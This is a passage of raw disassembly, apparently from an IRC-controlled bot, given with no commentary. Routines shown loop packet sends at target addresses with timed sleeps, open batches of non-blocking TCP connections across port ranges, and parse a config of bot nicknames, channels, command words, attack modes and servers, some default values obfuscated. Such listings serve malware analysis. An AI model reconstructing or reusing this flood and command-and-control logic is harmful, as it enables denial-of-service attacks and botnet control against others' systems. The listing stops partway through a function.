.text:00403126      call   htons
.text:0040312B      mov     word ptr [ebp+to.sa_data], ax
.text:0040312F      xor     esi, esi
.text:00403131      jmp     short loc_40315F
.text:00403133      ; -----
.text:00403133      loc_403133:
.text:00403133      mov     edi, [ebx+esi*4] ; CODE XREF: sub_403022+141*j
.text:00403136      mov     dword ptr [ebp+to.sa_data+2], edi
.text:00403139      mov     eax, [ebp+buf]
.text:0040313C      lea    ecx, [eax]
.text:0040313E      or     eax, 0FFFFFFFFh
.text:00403141      loc_403141:
.text:00403141      inc     eax ; CODE XREF: sub_403022+124*j
.text:00403142      cmp     byte ptr [ecx+eax], 0
.text:00403146      jnz    short loc_403141
.text:00403148      push    10h ; tolen
.text:0040314A      lea    edx, [ebp+to]
.text:0040314D      push    edx ; to
.text:0040314E      push    0 ; flags

```

```

.text:00403150      push    eax                ; len
.text:00403151      push    [ebp+buf]         ; buf
.text:00403154      push    [ebp+s]           ; s
.text:00403157      call   sendto
.text:0040315C      add     esi, 1
.text:0040315F      loc_40315F:                ; CODE XREF: sub_403022+10F•j
.text:0040315F      cmp     dword ptr [ebx+esi*4], 0
.text:00403163      jnz    short loc_403133
.text:00403165      push   dword ptr [ebx+198h] ; dwMilliseconds
.text:0040316B      call   Sleep
.text:00403170      mov     eax, [ebp+var_18]
.text:00403173      inc     eax
.text:00403174      mov     ecx, [ebp+var_84]
.text:0040317A      cdq
.text:0040317B      idiv   ecx
.text:0040317D      mov     [ebp+var_18], edx
.text:00403180      loc_403180:                ; CODE XREF: sub_403022+E3•j
.text:00403180      call   GetTickCount
.text:00403185      cmp     eax, [ebp+var_88]
.text:0040318B      jnb    short loc_40319A
.text:0040318D      cmp     dword ptr [ebx+1A0h], 1
.text:00403194      jz     loc_403107
.text:0040319A      loc_40319A:                ; CODE XREF: sub_403022+169•j
.text:0040319A      mov     [ebp+var_18], 0
.text:004031A1      jmp    short loc_4031B2
.text:004031A3      ; -----
.text:004031A3      loc_4031A3:                ; CODE XREF: sub_403022+199•j
.text:004031A3      mov     edi, [ebp+var_18]
.text:004031A6      push   [ebp+edi*4+var_80] ; s
.text:004031AA      call   closesocket
.text:004031AF      inc     [ebp+var_18]
.text:004031B2      loc_4031B2:                ; CODE XREF: sub_403022+17F•j
.text:004031B2      mov     eax, [ebp+var_84]
.text:004031B8      cmp     [ebp+var_18], eax
.text:004031BB      jl     short loc_4031A3
.text:004031BD      mov     dword ptr [ebx+1A0h], 0
.text:004031C7      push   [ebp+buf]
.text:004031CA      call   free
.text:004031CF      add     esp, 4
.text:004031D2      push   1                    ; dwExitCode
.text:004031D4      call   ExitThread
.text:004031D9      xor     eax, eax
.text:004031DB      inc     eax
.text:004031DC      pop     edi
.text:004031DD      pop     esi
.text:004031DE      pop     ebx
.text:004031DF      leave
.text:004031E0      retn    4
.text:004031E0      sub_403022      endp
.text:004031E3      ; //////////////////////////////////// S U B R O U T I N E ////////////////////////////////////
.text:004031E3      ; Attributes: bp-based frame
.text:004031E3      sub_4031E3      proc near                ; DATA XREF: sub_40156D+D34•o
.text:004031E3      var_84          = dword ptr -84h
.text:004031E3      argp           = dword ptr -80h
.text:004031E3      name          = sockaddr ptr -7Ch
.text:004031E3      var_6C        = dword ptr -6Ch
.text:004031E3      var_68        = dword ptr -68h
.text:004031E3      s             = dword ptr -64h
.text:004031E3      arg_0         = dword ptr 8
.text:004031E3

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```

.text:004031E3      push    ebp
.text:004031E4      mov     ebp, esp
.text:004031E6      sub     esp, 84h
.text:004031EC      push    ebx
.text:004031ED      push    esi
.text:004031EE      push    edi
.text:004031EF      xor     ebx, ebx
.text:004031F1      mov     [ebp+argp], 1
.text:004031F8      mov     eax, [ebp+arg_0]
.text:004031FB      mov     [ebp+var_6C], eax
.text:004031FE      call   GetTickCount
.text:00403203      mov     edi, [ebp+var_6C]
.text:00403206      mov     edx, eax
.text:00403208      add     edx, [edi+194h]
.text:0040320E      mov     [ebp+var_84], edx
.text:00403214      mov     eax, edi
.text:00403216      cmp     dword ptr [eax+1A4h], 1
.text:0040321D      jnb    short loc_40322B
.text:0040321F      mov     eax, edi
.text:00403221      mov     dword ptr [eax+1A4h], 1
.text:0040322B      loc_40322B:
.text:0040322B      ; CODE XREF: sub_4031E3+3A*j
.text:0040322B      mov     eax, [ebp+var_6C]
.text:0040322E      cmp     dword ptr [eax+1A8h], 0FFFFFFh
.text:00403238      jbe    short loc_403244
.text:0040323A      mov     dword ptr [eax+1A8h], 0FFFFFFh
.text:00403244      loc_403244:
.text:00403244      ; CODE XREF: sub_4031E3+55*j
.text:00403244      mov     eax, [ebp+var_6C]
.text:00403247      mov     eax, [eax+1A4h]
.text:0040324D      mov     [ebp+var_68], eax
.text:00403250      mov     ecx, 4
.text:00403255      xor     edi, edi
.text:00403257      lea    eax, [ebp+name]
.text:0040325A      xchg   eax, edi
.text:0040325B      repe   stosd
.text:0040325D      mov     [ebp+name.sa_family], 2
.text:00403263      mov     eax, [ebp+var_6C]
.text:00403266      mov     eax, [eax+190h]
.text:0040326C      mov     dword ptr [ebp+name.sa_data+2], eax
.text:0040326F      jmp    loc_4032F9
.text:00403274      ; -----
.text:00403274      loc_403274:
.text:00403274      ; CODE XREF: sub_4031E3+12D*j
.text:00403274      xor     ebx, ebx
.text:00403276      mov     esi, ebx
.text:00403278      loc_403278:
.text:00403278      ; CODE XREF: sub_4031E3+C2*j
.text:00403278      push    0                ; protocol
.text:0040327A      push    1                ; type
.text:0040327C      push    2                ; af
.text:0040327E      call   socket
.text:00403283      mov     [ebp+esi*4+s], eax
.text:00403287      cmp     [ebp+esi*4+s], 0FFFFFFFFh
.text:0040328C      jz     short loc_4032A7
.text:0040328E      lea    eax, [ebp+argp]
.text:00403291      push    eax                ; argp
.text:00403292      push    8004667Eh        ; cmd
.text:00403297      push    [ebp+esi*4+s]    ; s
.text:0040329B      call   ioctlsocket
.text:004032A0      inc     ebx
.text:004032A1      inc     esi
.text:004032A2      cmp     esi, 19h
.text:004032A5      jl     short loc_403278
.text:004032A7      loc_4032A7:
.text:004032A7      ; CODE XREF: sub_4031E3+A9*j
.text:004032A7      xor     esi, esi
.text:004032A9      jmp    short loc_4032E3
.text:004032AB      ; -----
.text:004032AB

```

```

.text:004032AB loc_4032AB:                                ; CODE XREF: sub_4031E3+102*j
.text:004032AB      movzx  eax, word ptr [ebp+var_68]
.text:004032AF      push  eax                                ; hostshort
.text:004032B0      call  htons
.text:004032B5      mov   word ptr [ebp+name.sa_data], ax
.text:004032B9      push  10h                               ; namelen
.text:004032BB      lea  eax, [ebp+name]
.text:004032BE      push  eax                                ; name
.text:004032BF      push  [ebp+esi*4+s]                     ; s
.text:004032C3      call  connect
.text:004032C8      mov  edi, [ebp+var_6C]
.text:004032CB      mov  eax, [ebp+var_68]
.text:004032CE      inc  eax
.text:004032CF      mov  ecx, [edi+1A8h]
.text:004032D5      xor  edx, edx
.text:004032D7      div  ecx
.text:004032D9      add  edx, [edi+1A4h]
.text:004032DF      mov  [ebp+var_68], edx
.text:004032E2      inc  esi
.text:004032E3 loc_4032E3:                                ; CODE XREF: sub_4031E3+C6*j
.text:004032E3      cmp  esi, ebx
.text:004032E5      jl   short loc_4032AB
.text:004032E7      xor  esi, esi
.text:004032E9      jmp  short loc_4032F5
.text:004032EB ; -----
.text:004032EB loc_4032EB:                                ; CODE XREF: sub_4031E3+114*j
.text:004032EB      push [ebp+esi*4+s]                       ; s
.text:004032EF      call closesocket
.text:004032F4      inc  esi
.text:004032F5 loc_4032F5:                                ; CODE XREF: sub_4031E3+106*j
.text:004032F5      cmp  esi, ebx
.text:004032F7      jl   short loc_4032EB
.text:004032F9 loc_4032F9:                                ; CODE XREF: sub_4031E3+8C*j
.text:004032F9      call GetTickCount
.text:004032FE      cmp  eax, [ebp+var_84]
.text:00403304      jnb  short loc_403316
.text:00403306      mov  edi, [ebp+var_6C]
.text:00403309      cmp  dword ptr [edi+1A0h], 1
.text:00403310      jz   loc_403274
.text:00403316 loc_403316:                                ; CODE XREF: sub_4031E3+121*j
.text:00403316      mov  eax, [ebp+var_6C]
.text:00403319      mov  dword ptr [eax+1A0h], 0
.text:00403323      push 0                                   ; dwExitCode
.text:00403325      call ExitThread
.text:0040332A      xor  eax, eax
.text:0040332C      pop  edi
.text:0040332D      pop  esi
.text:0040332E      pop  ebx
.text:0040332F      leave
.text:00403330      retn 4
.text:00403330 sub_4031E3      endp
.text:00403330
.text:00403330
.text:00403333 ; //////////////////////////////////// S U B R O U T I N E ////////////////////////////////////
.text:00403333 ; Attributes: bp-based frame
.text:00403333 sub_403333      proc near                                ; CODE XREF: sub_40156D+F1*p
.text:00403333
.text:00403333 var_96          = byte ptr -96h
.text:00403333 var_82          = dword ptr -82h
.text:00403333 arg_0           = dword ptr 8
.text:00403333 arg_4           = dword ptr 0Ch
.text:00403333 arg_8           = dword ptr 10h

```



```

.text:00403333      push    ebp
.text:00403334      mov     ebp, esp
.text:00403336      sub     esp, 98h
.text:0040333C      push    ebx
.text:0040333D      push    esi
.text:0040333E      push    edi
.text:0040333F      mov     ebx, [ebp+arg_0]
.text:00403342      mov     edi, [ebp+arg_8]
.text:00403345      or     ebx, ebx
.text:00403347      jz     short loc_403353
.text:00403349      cmp    [ebp+arg_4], 0
.text:0040334D      jz     short loc_403353
.text:0040334F      or     edi, edi
.text:00403351      jnz    short loc_403358
.text:00403353      loc_403353:                                     ; CODE XREF: sub_403333+14*j
.text:00403353                                     ; sub_403333+1A*j
.text:00403353      jmp    loc_403638
.text:00403358      ; -----
.text:00403358      loc_403358:                                     ; CODE XREF: sub_403333+1E*j
.text:00403358      mov     dword ptr [edi], 0
.text:0040335E      mov     dword ptr [edi+4], 0
.text:00403365      mov     dword ptr [edi+8], 0
.text:0040336C      mov     dword ptr [edi+1Eh], 0
.text:00403376      push   offset aNick      ; const char *
.text:0040337B      push   [ebp+arg_4]        ; int
.text:0040337E      push   ebx                ; int
.text:0040337F      call   sub_40363D
.text:00403384      add     esp, 0Ch
.text:00403387      or     eax, eax
.text:00403389      jnz    short loc_4033A4
.text:0040338B      push   77h
.text:0040338D      push   offset aAhkl     ; "/ahkl"
.text:00403392      push   [ebp+arg_4]
.text:00403395      call   strncpy
.text:0040339A      add     esp, 0Ch
.text:0040339D      mov     eax, [ebp+arg_4]
.text:004033A0      mov     byte ptr [eax+77h], 0
.text:004033A4      loc_4033A4:                                     ; CODE XREF: sub_403333+56*j
.text:004033A4      push   offset aIrcname  ; const char *
.text:004033A9      mov     eax, [ebp+arg_4]
.text:004033AC      add     eax, 0F0h
.text:004033B1      push   eax                ; int
.text:004033B2      push   ebx                ; int
.text:004033B3      call   sub_40363D
.text:004033B8      add     esp, 0Ch
.text:004033BB      or     eax, eax
.text:004033BD      jnz    short loc_4033E1
.text:004033BF      push   77h
.text:004033C1      push   offset aVYMjQldkg ; "v}~y{*%mj&qldkg"
.text:004033C6      mov     eax, [ebp+arg_4]
.text:004033C9      add     eax, 0F0h
.text:004033CE      push   eax
.text:004033CF      call   strncpy
.text:004033D4      add     esp, 0Ch
.text:004033D7      mov     eax, [ebp+arg_4]
.text:004033DA      mov     byte ptr [eax+167h], 0
.text:004033E1      loc_4033E1:                                     ; CODE XREF: sub_403333+8A*j
.text:004033E1      push   offset aMode     ; const char *
.text:004033E6      lea    eax, [ebp+var_82]
.text:004033EC      push   eax                ; int
.text:004033ED      push   ebx                ; int
.text:004033EE      call   sub_40363D
.text:004033F3      add     esp, 0Ch
.text:004033F6      or     eax, eax
.text:004033F8      jnz    short loc_403479
.text:004033FA      push   offset aSoup     ; const char *

```

```

.text:004033FF      push    offset aO_atu@vde@ ; const char *
.text:00403404      call   _strcmpi
.text:00403409      add    esp, 8
.text:0040340C      or     eax, eax
.text:0040340E      jnz   short loc_403424
.text:00403410      mov    eax, [ebp+arg_4]
.text:00403413      mov    edx, dword_4081D8
.text:00403419      mov    [eax+170h], edx
.text:0040341F      jmp    loc_4034F2
.text:00403424 ; -----
.text:00403424 loc_403424:                ; CODE XREF: sub_403333+DB*j
.text:00403424      push    offset aPassive ; const char *
.text:00403429      push    offset aO_atu@vde@ ; const char *
.text:0040342E      call   _strcmpi
.text:00403433      add    esp, 8
.text:00403436      or     eax, eax
.text:00403438      jnz   short loc_40344E
.text:0040343A      mov    eax, [ebp+arg_4]
.text:0040343D      mov    edx, dword_4081DC
.text:00403443      mov    [eax+170h], edx
.text:00403449      jmp    loc_4034F2
.text:0040344E ; -----
.text:0040344E loc_40344E:                ; CODE XREF: sub_403333+105*j
.text:0040344E      push    offset aAggressive ; const char *
.text:00403453      push    offset aO_atu@vde@ ; const char *
.text:00403458      call   _strcmpi
.text:0040345D      add    esp, 8
.text:00403460      or     eax, eax
.text:00403462      jnz   loc_4034F2
.text:00403468      mov    eax, [ebp+arg_4]
.text:0040346B      mov    edx, dword_4081E0
.text:00403471      mov    [eax+170h], edx
.text:00403477      jmp    short loc_4034F2
.text:00403479 ; -----
.text:00403479 loc_403479:                ; CODE XREF: sub_403333+C5*j
.text:00403479      push    offset aSoup ; const char *
.text:0040347E      lea   eax, [ebp+var_82]
.text:00403484      push    eax ; const char *
.text:00403485      call   _strcmpi
.text:0040348A      add    esp, 8
.text:0040348D      or     eax, eax
.text:0040348F      jnz   short loc_4034A2
.text:00403491      mov    eax, [ebp+arg_4]
.text:00403494      mov    edx, dword_4081D8
.text:0040349A      mov    [eax+170h], edx
.text:004034A0      jmp    short loc_4034F2
.text:004034A2 ; -----
.text:004034A2 loc_4034A2:                ; CODE XREF: sub_403333+15C*j
.text:004034A2      push    offset aPassive ; const char *
.text:004034A7      lea   eax, [ebp+var_82]
.text:004034AD      push    eax ; const char *
.text:004034AE      call   _strcmpi
.text:004034B3      add    esp, 8
.text:004034B6      or     eax, eax
.text:004034B8      jnz   short loc_4034CB
.text:004034BA      mov    eax, [ebp+arg_4]
.text:004034BD      mov    edx, dword_4081DC
.text:004034C3      mov    [eax+170h], edx
.text:004034C9      jmp    short loc_4034F2
.text:004034CB ; -----
.text:004034CB loc_4034CB:                ; CODE XREF: sub_403333+185*j
.text:004034CB      push    offset aAggressive ; const char *
.text:004034D0      lea   eax, [ebp+var_82]
.text:004034D6      push    eax ; const char *
.text:004034D7      call   _strcmpi

```

```

.text:004034DC      add     esp, 8
.text:004034DF      or     eax, eax
.text:004034E1      jnz    short loc_4034F2
.text:004034E3      mov    eax, [ebp+arg_4]
.text:004034E6      mov    edx, dword_4081E0
.text:004034EC      mov    [eax+170h], edx
.text:004034F2      loc_4034F2:                                     ; CODE XREF: sub_403333+EC*j
.text:004034F2                                     ; sub_403333+116*j ...
.text:004034F2      push   offset aSetcommand ; const char *
.text:004034F7      mov    eax, edi
.text:004034F9      add    eax, 0Ch
.text:004034FC      push   eax ; int
.text:004034FD      push   ebx ; int
.text:004034FE      call   sub_40363D
.text:00403503      add    esp, 0Ch
.text:00403506      or     eax, eax
.text:00403508      jnz    short loc_403526
.text:0040350A      push   77h
.text:0040350C      push   offset aWtwgr ; "wtwgr"
.text:00403511      mov    eax, edi
.text:00403513      add    eax, 0Ch
.text:00403516      push   eax
.text:00403517      call   strncpy
.text:0040351C      add    esp, 0Ch
.text:0040351F      mov    byte ptr [edi+83h], 0
.text:00403526      loc_403526:                                     ; CODE XREF: sub_403333+1D5*j
.text:00403526      push   offset aCommand ; const char *
.text:0040352B      mov    eax, edi
.text:0040352D      add    eax, 84h
.text:00403532      push   eax ; int
.text:00403533      push   ebx ; int
.text:00403534      call   sub_40363D
.text:00403539      add    esp, 0Ch
.text:0040353C      or     eax, eax
.text:0040353E      jnz    short loc_40355E
.text:00403540      push   77h
.text:00403542      push   offset aCdkk ; "|cdkk"
.text:00403547      mov    eax, edi
.text:00403549      add    eax, 84h
.text:0040354E      push   eax
.text:0040354F      call   strncpy
.text:00403554      add    esp, 0Ch
.text:00403557      mov    byte ptr [edi+83h], 0
.text:0040355E      loc_40355E:                                     ; CODE XREF: sub_403333+20B*j
.text:0040355E      push   offset aChannel ; const char *
.text:00403563      mov    eax, edi
.text:00403565      add    eax, 0FCh
.text:0040356A      push   eax ; int
.text:0040356B      push   ebx ; int
.text:0040356C      call   sub_40363D
.text:00403571      add    esp, 0Ch
.text:00403574      or     eax, eax
.text:00403576      jnz    short loc_403596
.text:00403578      push   77h
.text:0040357A      push   offset aMfqece ; "mfqEce"
.text:0040357F      mov    eax, edi
.text:00403581      add    eax, 0FCh
.text:00403586      push   eax
.text:00403587      call   strncpy
.text:0040358C      add    esp, 0Ch
.text:0040358F      mov    byte ptr [edi+83h], 0
.text:00403596      loc_403596:                                     ; CODE XREF: sub_403333+243*j
.text:00403596      push   offset aSoupchannel ; const char *
.text:0040359B      mov    eax, edi
.text:0040359D      add    eax, 174h
.text:004035A2      push   eax ; int

```

```

.text:004035A3      push    ebx                ; int
.text:004035A4      call   sub_40363D
.text:004035A9      add    esp, 0Ch
.text:004035AC      or     eax, eax
.text:004035AE      jnz   short loc_4035CE
.text:004035B0      push  77h
.text:004035B2      push  offset aHPmfqece ; "~h`PmfqEce"
.text:004035B7      mov   eax, edi
.text:004035B9      add   eax, 174h
.text:004035BE      push  eax
.text:004035BF      call  strncpy
.text:004035C4      add   esp, 0Ch
.text:004035C7      mov   byte ptr [edi+83h], 0
.text:004035CE      loc_4035CE:                ; CODE XREF: sub_403333+27B•j
.text:004035CE      xor   esi, esi
.text:004035D0      push  0
.text:004035D2      push  offset aServerD ; "SERVER%d"
.text:004035D7      lea  eax, [ebp+var_96]
.text:004035DD      push  eax
.text:004035DE      call  sprintf
.text:004035E3      add   esp, 0Ch
.text:004035E6      jmp  short loc_40360B
.text:004035E8      ; -----
.text:004035E8      loc_4035E8:                ; CODE XREF: sub_403333+2F1•j
.text:004035E8      lea  eax, [ebp+var_82]
.text:004035EE      push  eax
.text:004035EF      push  edi
.text:004035F0      call  sub_4039A5
.text:004035F5      inc  esi
.text:004035F6      push  esi
.text:004035F7      push  offset aServerD ; "SERVER%d"
.text:004035FC      lea  eax, [ebp+var_96]
.text:00403602      push  eax
.text:00403603      call  sprintf
.text:00403608      add   esp, 14h
.text:0040360B      loc_40360B:                ; CODE XREF: sub_403333+2B3•j
.text:0040360B      lea  eax, [ebp+var_96]
.text:00403611      push  eax                ; const char *
.text:00403612      lea  eax, [ebp+var_82]
.text:00403618      push  eax                ; int
.text:00403619      push  ebx                ; int
.text:0040361A      call  sub_40363D
.text:0040361F      add   esp, 0Ch
.text:00403622      or   eax, eax
.text:00403624      jnz  short loc_4035E8
.text:00403626      cmp  [edi], eax
.text:00403628      jnz  short loc_403638
.text:0040362A      push  offset unk_408070
.text:0040362F      push  edi
.text:00403630      call  sub_4039A5
.text:00403635      add   esp, 8
.text:00403638      loc_403638:                ; CODE XREF: sub_403333+20•j
.text:00403638                                     ; sub_403333+2F5•j
.text:00403638      pop   edi
.text:00403639      pop   esi
.text:0040363A      pop   ebx
.text:0040363B      leave
.text:0040363C      retn
.text:0040363C      sub_403333      endp
.text:0040363D      ; //////////////////////////////////// S U B R O U T I N E ////////////////////////////////////
.text:0040363D      ; int __cdecl sub_40363D(int,int,const char *)
.text:0040363D      ; Attributes: bp-based frame

```

```

.text:0040363D
.text:0040363D sub_40363D      proc near                ; CODE XREF: sub_403333+4C•p
.text:0040363D                                     ; sub_403333+80•p ...
.text:0040363D
.text:0040363D var_9F0      = byte ptr -9F0h
.text:0040363D var_414      = byte ptr -414h
.text:0040363D var_14       = byte ptr -14h
.text:0040363D arg_0       = dword ptr 8
.text:0040363D arg_4       = dword ptr 0Ch
.text:0040363D arg_8       = dword ptr 10h
.text:0040363D
.text:0040363D      push    ebp
.text:0040363E      mov     ebp, esp
.text:00403640      sub     esp, 9F0h
.text:00403646      push   ebx
.text:00403647      push   esi
.text:00403648      push   edi
.text:00403649      cmp    [ebp+arg_0], 0
.text:0040364D      jz     short loc_40365B
.text:0040364F      cmp    [ebp+arg_4], 0
.text:00403653      jz     short loc_40365B
.text:00403655      cmp    [ebp+arg_8], 0
.text:00403659      jnz    short loc_403662
.text:0040365B
.text:0040365B loc_40365B:                ; CODE XREF: sub_40363D+10•j
.text:0040365B                                     ; sub_40363D+16•j
.text:0040365D      xor    eax, eax
.text:0040365D      jmp    loc_403764
.text:00403662 ; -----
.text:00403662
.text:00403662 loc_403662:                ; CODE XREF: sub_40363D+1C•j
.text:00403662      push   offset aR          ; "r"
.text:00403667      push   [ebp+arg_0]
.text:0040366A      call   fopen
.text:0040366F      add    esp, 8
.text:00403672      mov    ebx, eax
.text:00403674      or     ebx, ebx
.text:00403676      jnz    short loc_40367F
.text:00403678      xor    eax, eax
.text:0040367A      jmp    loc_403764
.text:0040367F ; -----
.text:0040367F
.text:0040367F loc_40367F:                ; CODE XREF: sub_40363D+39•j
.text:0040367F      push   2Dh
.text:00403681      call   malloc
.text:00403686      pop    ecx
.text:00403687      mov    esi, eax
.text:00403689      or     esi, esi
.text:0040368B      jnz    short loc_403694
.text:0040368D      xor    eax, eax
.text:0040368F      jmp    loc_403764
.text:00403694 ; -----
.text:00403694
.text:00403694 loc_403694:                ; CODE XREF: sub_40363D+4E•j
.text:00403694      xor    edi, edi
.text:00403696      jmp    short loc_4036A3
.text:00403698 ; -----
.text:00403698
.text:00403698 loc_403698:                ; CODE XREF: sub_40363D+69•j
.text:00403698      mov    edx, dword_4080C8[edi*4]
.text:0040369F      mov    [esi+edi], dl
.text:004036A2      inc    edi
.text:004036A3
.text:004036A3 loc_4036A3:                ; CODE XREF: sub_40363D+59•j
.text:004036A3      cmp    edi, 2Ch
.text:004036A6      jb     short loc_403698
.text:004036A8      mov    byte ptr [edi+esi+1], 0
.text:004036AD      jmp    loc_403732
.text:004036B2 ; -----
.text:004036B2

```

```

.text:004036B2 loc_4036B2:                                ; CODE XREF: sub_40363D+10D*j
.text:004036B2     lea     eax, [ebp+var_414]
.text:004036B8     push   eax
.text:004036B9     push   esi
.text:004036BA     call  sub_405366
.text:004036BF     mov    edi, eax
.text:004036C1     lea   eax, [ebp+var_9F0]
.text:004036C7     push  eax
.text:004036C8     lea   eax, [ebp+var_14]
.text:004036CB     push  eax
.text:004036CC     push  offset asc_4083C5 ; "%[^]=%[^"
.text:004036D1     push  edi
.text:004036D2     call  sscanf
.text:004036D7     push  [ebp+arg_8] ; const char *
.text:004036DA     lea   eax, [ebp+var_14]
.text:004036DD     push  eax ; const char *
.text:004036DE     call  _strcmpi
.text:004036E3     add   esp, 20h
.text:004036E6     or    eax, eax
.text:004036E8     jnz   short loc_40372B
.text:004036EA     push  81h
.text:004036EF     lea   eax, [ebp+var_9F0]
.text:004036F5     push  eax
.text:004036F6     push  [ebp+arg_4]
.text:004036F9     call  strncpy
.text:004036FE     add   esp, 0Ch
.text:00403701     mov   eax, [ebp+arg_4]
.text:00403704     mov   byte ptr [eax+81h], 0
.text:0040370B     push  esi
.text:0040370C     call  free
.text:00403711     add   esp, 4
.text:00403714     push  edi
.text:00403715     call  free
.text:0040371A     add   esp, 4
.text:0040371D     push  ebx
.text:0040371E     call  fclose
.text:00403723     add   esp, 4
.text:00403726     xor   eax, eax
.text:00403728     inc   eax
.text:00403729     jmp   short loc_403764
.text:0040372B ; -----
.text:0040372B loc_40372B:                                ; CODE XREF: sub_40363D+AB*j
.text:0040372B     push  edi
.text:0040372C     call  free
.text:00403731     pop   ecx
.text:00403732 loc_403732:                                ; CODE XREF: sub_40363D+70*j
.text:00403732     lea   eax, [ebp+var_414]
.text:00403738     push  eax
.text:00403739     push  offset asc_4083D1 ; "%[^\\n]\\n"
.text:0040373E     push  ebx
.text:0040373F     call  fscanf
.text:00403744     add   esp, 0Ch
.text:00403747     cmp   eax, 0FFFFFFFFh
.text:0040374A     jnz   loc_4036B2
.text:00403750     push  esi
.text:00403751     call  free
.text:00403756     add   esp, 4
.text:00403759     push  ebx
.text:0040375A     call  fclose
.text:0040375F     add   esp, 4
.text:00403762     xor   eax, eax
.text:00403764 loc_403764:                                ; CODE XREF: sub_40363D+20*j
.text:00403764 ; sub_40363D+3D*j ...
.text:00403764     pop   edi
.text:00403765     pop   esi
.text:00403766     pop   ebx
.text:00403767     leave

```

```

.text:00403768             retn
.text:00403768 sub_40363D             endp
.text:00403768
.text:00403769             ; //////////////////////////////////// S U B R O U T I N E ////////////////////////////////////
.text:00403769             ; Attributes: bp-based frame
.text:00403769 sub_403769             proc near             ; CODE XREF: sub_40156D+1361•p
.text:00403769 var_96                 = byte ptr -96h
.text:00403769 var_82                 = byte ptr -82h
.text:00403769 arg_0                  = dword ptr 8
.text:00403769 arg_4                  = dword ptr 0Ch
.text:00403769 arg_8                  = dword ptr 10h
.text:00403769             push     ebp
.text:0040376A             mov     ebp, esp
.text:0040376C             sub     esp, 98h
.text:00403772             push     ebx
.text:00403773             push     esi
.text:00403774             push     edi
.text:00403775             mov     ebx, [ebp+arg_0]
.text:00403778             mov     edi, [ebp+arg_8]
.text:0040377B             or     ebx, ebx
.text:0040377D             jz     short loc_403789
.text:0040377F             cmp     [ebp+arg_4], 0
.text:00403783             jz     short loc_403789
.text:00403785             or     edi, edi
.text:00403787             jnz    short loc_40378E
.text:00403789             loc_403789:             ; CODE XREF: sub_403769+14•j
.text:00403789             ; sub_403769+1A•j
.text:00403789             jmp     loc_4038B6
.text:0040378E             ; -----
.text:0040378E             loc_40378E:             ; CODE XREF: sub_403769+1E•j
.text:0040378E             push     ebx
.text:0040378F             call    remove
.text:00403794             push     offset aNick    ; "NICK"
.text:00403799             push     [ebp+arg_4]
.text:0040379C             push     ebx
.text:0040379D             call    sub_4038BB
.text:004037A2             add     esp, 10h
.text:004037A5             mov     eax, [ebp+arg_4]
.text:004037A8             mov     edx, dword_4081D8
.text:004037AE             cmp     [eax+170h], edx
.text:004037B4             jnz    short loc_4037CB
.text:004037B6             push     offset aMode    ; "MODE"
.text:004037BB             push     offset aSoup    ; "SOUP"
.text:004037C0             push     ebx
.text:004037C1             call    sub_4038BB
.text:004037C6             add     esp, 0Ch
.text:004037C9             jmp     short loc_403815
.text:004037CB             ; -----
.text:004037CB             loc_4037CB:             ; CODE XREF: sub_403769+4B•j
.text:004037CB             mov     eax, [ebp+arg_4]
.text:004037CE             mov     edx, dword_4081DC
.text:004037D4             cmp     [eax+170h], edx
.text:004037DA             jnz    short loc_4037F1
.text:004037DC             push     offset aMode    ; "MODE"
.text:004037E1             push     offset aPassive ; "PASSIVE"
.text:004037E6             push     ebx
.text:004037E7             call    sub_4038BB
.text:004037EC             add     esp, 0Ch
.text:004037EF             jmp     short loc_403815
.text:004037F1             ; -----
.text:004037F1             loc_4037F1:             ; CODE XREF: sub_403769+71•j

```

```

.text:004037F1      mov     eax, [ebp+arg_4]
.text:004037F4      mov     edx, dword_4081E0
.text:004037FA      cmp     [eax+170h], edx
.text:00403800      jnz    short loc_403815
.text:00403802      push   offset aMode      ; "MODE"
.text:00403807      push   offset aAggressive ; "AGGRESSIVE"
.text:0040380C      push   ebx
.text:0040380D      call   sub_4038BB
.text:00403812      add     esp, 0Ch
.text:00403815
.text:00403815 loc_403815:      ; CODE XREF: sub_403769+60*j
.text:00403815      ; sub_403769+86*j ...
.text:00403815      push   offset aSetcommand ; "SETCOMMAND"
.text:0040381A      mov     eax, edi
.text:0040381C      add     eax, 0Ch
.text:0040381F      push   eax
.text:00403820      push   ebx
.text:00403821      call   sub_4038BB
.text:00403826      push   offset aCommand   ; "COMMAND"
.text:0040382B      mov     eax, edi
.text:0040382D      add     eax, 84h
.text:00403832      push   eax
.text:00403833      push   ebx
.text:00403834      call   sub_4038BB
.text:00403839      push   offset aChannel   ; "CHANNEL"
.text:0040383E      mov     eax, edi
.text:00403840      add     eax, 0FCh
.text:00403845      push   eax
.text:00403846      push   ebx
.text:00403847      call   sub_4038BB
.text:0040384C      push   offset aSoupchannel ; "SOUPCHANNEL"
.text:00403851      mov     eax, edi
.text:00403853      add     eax, 174h
.text:00403858      push   eax
.text:00403859      push   ebx
.text:0040385A      call   sub_4038BB
.text:0040385F      add     esp, 30h
.text:00403862      xor     esi, esi
.text:00403864      jmp    short loc_4038AE
.text:00403866      ; -----
.text:00403866 loc_403866:      ; CODE XREF: sub_403769+14B*j
.text:00403866      push   esi
.text:00403867      push   offset aServerD   ; "SERVER%d"
.text:0040386C      lea   eax, [ebp+var_96]
.text:00403872      push   eax
.text:00403873      call   sprintf
.text:00403878      mov     eax, [edi+8]
.text:0040387B      push   dword ptr [eax+78h]
.text:0040387E      push   eax
.text:0040387F      push   offset aSD        ; "%s:%d"
.text:00403884      lea   eax, [ebp+var_82]
.text:0040388A      push   eax
.text:0040388B      call   sprintf
.text:00403890      lea   eax, [ebp+var_96]
.text:00403896      push   eax
.text:00403897      lea   eax, [ebp+var_82]
.text:0040389D      push   eax
.text:0040389E      push   ebx
.text:0040389F      call   sub_4038BB
.text:004038A4      push   edi
.text:004038A5      call   sub_403AF6
.text:004038AA      add     esp, 2Ch
.text:004038AD      inc     esi
.text:004038AE
.text:004038AE loc_4038AE:      ; CODE XREF: sub_403769+FB*j
.text:004038AE      cmp     esi, [edi+1ECh]
.text:004038B4      jb     short loc_403866
.text:004038B6
.text:004038B6 loc_4038B6:      ; CODE XREF: sub_403769+20*j

```



```

.text:004038B6      pop     edi
.text:004038B7      pop     esi
.text:004038B8      pop     ebx
.text:004038B9      leave
.text:004038BA      retn
.text:004038BA      sub_403769      endp
.text:004038BA
.text:004038BB      ; //////////////////////////////////// S U B R O U T I N E ////////////////////////////////////
.text:004038BB      ; Attributes: bp-based frame
.text:004038BB      sub_4038BB      proc near          ; CODE XREF: sub_403769+34*p
.text:004038BB      ; sub_403769+58*p ...
.text:004038BB      var_404        = dword ptr -404h
.text:004038BB      var_400        = byte ptr -400h
